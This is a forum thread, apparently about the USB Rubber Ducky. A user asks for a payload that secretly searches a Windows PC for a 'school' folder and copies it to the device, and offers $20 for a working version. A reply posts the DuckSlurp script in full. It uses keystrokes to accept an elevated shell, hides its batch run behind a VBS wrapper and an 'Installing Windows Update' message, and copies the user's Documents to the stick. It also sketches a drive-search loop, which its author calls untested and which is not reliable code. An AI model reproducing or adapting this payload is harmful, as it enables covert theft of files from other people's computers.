Jump to content

Search and Copy


JasonLA
 Share

Recommended Posts

Hi

how i can search and copy files from the computer to the ducky?

The System is a Windows 7 64 Bit home edition.

the ducky must do the following:

start to search in the Computer drive X and Z

search for the folder with the name "school"

if the search seek the Folder "school" the ducky program has to make a copy from the

Contents of the Folder "school" to the micro SD Card in the usb ducky stick

thanks for answer and help

Link to comment
Share on other sites

Basically this payload, with some modifications to DuckSlurp.bat

REM Author: overwraith modified by dkitchen
REM Name: DuckSlurp.txt
REM Purpose: Run an executable file off of the SD card after it mounts. 
REM Uses googleknowsbests slightly more portable method to find the "Ducky" drive. 
REM Encoder V2.4
REM Using the run command for a broader OS base. 

REM *** Initial Delay *** 
DELAY 2000

REM *** Bypass UAC ***
GUI r
DELAY 250
STRING powershell Start-Process cmd.exe -Verb runAs
ENTER
DELAY 1500
ALT y
DELAY 500


REM *** Change directories because System32 appears to be protected. ***
STRING CD %TEMP%
ENTER

REM *** Delete wait batch file if already exists ***
STRING erase /Q DuckyWait.bat
ENTER

REM *** Make batch file that waits for SD card to mount. ***
STRING copy con DuckyWait.bat
ENTER
STRING :while1
ENTER
STRING @echo off
ENTER
STRING :while1
ENTER
STRING for /f "tokens=3 delims= " %%A in ('echo list volume ^| diskpart ^| findstr "DUCKY"') do (set DUCKYdrive=%%A:)
ENTER
STRING if [%DUCKYdrive%] EQU [] (
ENTER
STRING timeout /t 3
ENTER
STRING goto :while1 
ENTER
STRING ) else (
ENTER
STRING goto :break
ENTER
STRING )
ENTER
STRING timeout /t 3
ENTER
STRING goto :while1
ENTER
STRING :break
ENTER
STRING set DUCKYdrive=%DUCKYdrive%\DuckSlurp\
ENTER
STRING wscript.exe invis.vbs %DUCKYdrive%\DuckSlurp.bat
ENTER
CONTROL z
ENTER

REM *** Delete Invisible vbs file if already exists ***
STRING erase /Q invis.vbs
ENTER

REM *** Make VBS file to run invisibly ***
STRING copy con invis.vbs
ENTER
STRING CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
ENTER
CONTROL Z
ENTER

REM *** Run the batch file invisibly ***
STRING wscript.exe invis.vbs DuckyWait.bat
ENTER

REM *** Exit ***
STRING EXIT
ENTER
@echo off
@echo Installing Windows Update
set destination=%~d0\DuckSlurp\%COMPUTERNAME%
mkdir %destination%

if Exist %USERPROFILE%\Documents (
xcopy %USERPROFILE%\Documents %destination% >>nul
)

@cls
@exit

You are basically going to need a batch for loop which recurses the drives, and a loop which recurses directories (nested). The following lines are untested, am a little short on time, am shooting from the hip.

REM *** LOOP THROUGH ALL DRIVES EXCEPT DUCKY DRIVE. ***
for /f "tokens=3 delims= " %%drive in ('echo list volume ^| diskpart ^| findstr /V "DUCKY"') do (
REM *** LOOP THROUGH FOLDERS ON THE DRIVE. ***
for %%folder in ("%drive%\") do (
if %folder% EQU "school" (
xcopy %drive%\%folder% %DUCKYdrive% /S /Y /E
)
)
Edited by overwraith
Link to comment
Share on other sites

HELLO

Thank you for your suggestion. Unfortunately it does not work.
Now I need your help again.

I Create a Challenge. I hope this is allowed here!

20 dollar for you delivering a finished fully functional progam which I only have to play on the usb ducky.
it has to look / be able to:

start to search in the Computer drive C, D, E, F, G, H, I, J, K, L, M, O, P, Q, R, S, T, U, V, W, X, Z

The search must take place in secret!!!!!!!!!!!!!

search for the folder with the name "school"

if the search seek the Folder "school" the ducky program has to make a copy from the

Contents of the Folder "school" to the micro SD Card in the usb ducky stick

Who´s winning ?

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...